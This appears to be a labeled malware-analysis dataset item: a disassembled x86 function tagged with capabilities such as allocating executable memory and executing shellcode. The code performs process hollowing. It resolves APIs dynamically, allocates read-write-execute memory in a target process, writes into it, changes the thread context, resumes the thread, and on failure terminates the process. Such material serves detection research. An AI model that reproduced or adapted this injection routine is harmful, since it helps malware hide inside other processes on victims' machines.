Function at 0x43b6e8
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Resume thread
Terminate process

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef4
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x108], ebx
mov dword [ebp - 0x10c], ebx
mov dword [ebp - 0x104], ebx
mov dword [ebp - 0xfc], ebx
mov dword [ebp - 0x100], ebx
mov dword [ebp - 0xf8], ebx
mov dword [ebp - 0xf4], ebx
mov dword [ebp - 0xf0], ebx
mov dword [ebp - 0xc], ebx
mov ebx, edx
mov dword [ebp - 4], eax
mov esi, dword [ebp + 0xc]
mov eax, dword [ebp - 4]
call fcn.0040523c
xor eax, eax
push ebp
push 0x43bb15
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 8], 0xffffffff
lea edx, [ebp - 0xf0]
mov eax, 0x43bb30
call fcn.00443730
mov eax, dword [ebp - 0xf0]
call fcn.0040524c
push eax
mov eax, dword [0x458fdc]
mov eax, dword [eax]
call fcn.0040524c
push eax
call sub.KERNEL32.DLL_LoadLibraryA
push eax
call fcn.004414ac
mov edx, dword [0x45921c]
mov dword [edx], eax
lea edx, [ebp - 0xf4]
mov eax, 0x43bb70
call fcn.00443730
mov eax, dword [ebp - 0xf4]
call fcn.0040524c
push eax
mov eax, dword [0x458fdc]
mov eax, dword [eax]
call fcn.0040524c
push eax
call sub.KERNEL32.DLL_LoadLibraryA
push eax
call fcn.004414ac
mov edx, dword [0x458f40]
mov dword [edx], eax
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebx + 0x34]
mov ecx, esi
mov eax, dword [ebp - 4]
call fcn.0043b148
lea eax, [ebp - 0x20]
push eax
mov eax, dword [ebp + 8]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebp - 8]
lea edx, [ebp - 0xec]
mov eax, dword [ebp - 0xc]
call fcn.0043b52c
test al, al
je 0x43bae7
xor eax, eax
mov dword [ebp - 0x1c], eax
mov eax, dword [ebx + 0x34]
cmp eax, dword [ebp - 0x10]
jne 0x43b831
cmp esi, dword [ebp - 0x14]
ja 0x43b831
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x18]
push eax
push 0x40
mov eax, dword [ebp - 0x14]
push eax
mov eax, dword [ebp - 0x1c]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.KERNEL32.DLL_VirtualProtectEx
jmp 0x43b89d
call fcn.0043b13c
test al, al
je 0x43b89d
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 8]
call fcn.0043b4c0
test al, al
je 0x43b862
push 0x40
push 0x3000
push esi
mov eax, dword [ebx + 0x34]
push eax
mov eax, dword [ebp - 8]
push eax
call dword [0x458c08]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
jne 0x43b89d
mov eax, ebx
call fcn.0043b420
test al, al
je 0x43b89d
push 0x40
push 0x3000
push esi
push 0
mov eax, dword [ebp - 8]
push eax
call dword [0x458c08]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
je 0x43b89d
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp + 0x10]
mov eax, ebx
call fcn.0043b438
cmp dword [ebp - 0x1c], 0
je 0x43babb
lea eax, [ebp - 0x18]
push eax
push 4
lea eax, [ebp - 0x1c]
push eax
mov eax, dword [ebp - 0x48]
add eax, 8
push eax
mov eax, dword [ebp - 8]
push eax
mov eax, dword [0x45921c]
mov eax, dword [eax]
call eax
mov eax, dword [ebp - 0x1c]
mov dword [ebx + 0x34], eax
lea eax, [ebp - 0x18]
push eax
push esi
mov eax, dword [ebp + 0x10]
push eax
mov eax, dword [ebp - 0x1c]
push eax
mov eax, dword [ebp - 8]
push eax
mov eax, dword [0x45921c]
mov eax, dword [eax]
call eax
test eax, eax
je 0x43b9f4
mov dword [ebp - 0xec], 0x10007
mov eax, dword [ebp - 0x1c]
cmp eax, dword [ebp - 0x10]
jne 0x43b90a
mov eax, dword [ebx + 0x34]
add eax, dword [ebx + 0x28]
mov dword [ebp - 0x3c], eax
jmp 0x43b912
mov edx, dword [ebx + 0x28]
add edx, eax
mov dword [ebp - 0x3c], edx
lea eax, [ebp - 0xec]
push eax
mov eax, dword [ebp - 0x20]
push eax
mov eax, dword [0x458f40]
mov eax, dword [eax]
call eax
mov ebx, eax
mov eax, dword [ebp - 0x20]
push eax
call sub.KERNEL32.DLL_ResumeThread
mov eax, dword [ebp - 0x20]
push eax
mov eax, dword [0x459408]
mov eax, dword [eax]
call eax
push 0x32
call sub.KERNEL32.DLL_Sleep
cmp ebx, 1
sbb eax, eax
inc eax
test al, al
jne 0x43bae7
xor eax, eax
push ebp
push 0x43b9e5
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [0x458f4c]
push dword [eax + 0x14]
mov eax, dword [0x458f4c]
push dword [eax + 0x10]
mov eax, dword [0x4590fc]
push dword [eax]
lea eax, [ebp - 0xf8]
mov edx, 3
call fcn.0040510c
mov eax, dword [ebp - 0xf8]
call fcn.0040524c
call fcn.0043f07c
cmp eax, 1
sbb eax, eax
inc eax
test al, al
jne 0x43b9d8
mov ecx, dword [0x458f4c]
mov ecx, dword [ecx + 0x10]
mov edx, dword [0x458f4c]
mov edx, dword [edx + 0x14]
lea eax, [ebp - 0x100]
call fcn.00405098
mov eax, dword [ebp - 0x100]
lea ecx, [ebp - 0xfc]
mov edx, dword [0x4590fc]
mov edx, dword [edx]
call fcn.00441154
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x43bae7
xor eax, eax
push ebp
push 0x43ba83
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [0x458f4c]
push dword [eax + 0x14]
mov eax, dword [0x458f4c]
push dword [eax + 0x10]
mov eax, dword [0x4590fc]
push dword [eax]
lea eax, [ebp - 0x104]
mov edx, 3
call fcn.0040510c
mov eax, dword [ebp - 0x104]
call fcn.0040524c
call fcn.0043f07c
cmp eax, 1
sbb eax, eax
inc eax
test al, al
jne 0x43ba79
mov ecx, dword [0x458f4c]
mov ecx, dword [ecx + 0x10]
mov edx, dword [0x458f4c]
mov edx, dword [edx + 0x14]
lea eax, [ebp - 0x10c]
call fcn.00405098
mov eax, dword [ebp - 0x10c]
lea ecx, [ebp - 0x108]
mov edx, dword [0x4590fc]
mov edx, dword [edx]
call fcn.00441154
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x43ba8d
push 0
mov eax, dword [ebp - 8]
push eax
call sub.KERNEL32.DLL_TerminateProcess
mov eax, dword [ebp - 0x20]
push eax
mov eax, dword [0x459408]
mov eax, dword [eax]
call eax
mov eax, dword [ebp - 8]
push eax
mov eax, dword [0x459408]
mov eax, dword [eax]
call eax
mov dword [ebp - 8], 0xffffffff
jmp 0x43bae7
push 0
mov eax, dword [ebp - 8]
push eax
call sub.KERNEL32.DLL_TerminateProcess
mov eax, dword [ebp - 0x20]
push eax
mov eax, dword [0x459408]
mov eax, dword [eax]
call eax
mov eax, dword [ebp - 8]
push eax
mov eax, dword [0x459408]
mov eax, dword [eax]
call eax
mov dword [ebp - 8], 0xffffffff
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x43bb1c
lea eax, [ebp - 0x10c]
mov edx, 8
call fcn.00404db0
lea eax, [ebp - 0xc]
call fcn.00404d8c
lea eax, [ebp - 4]
call fcn.00404d8c
ret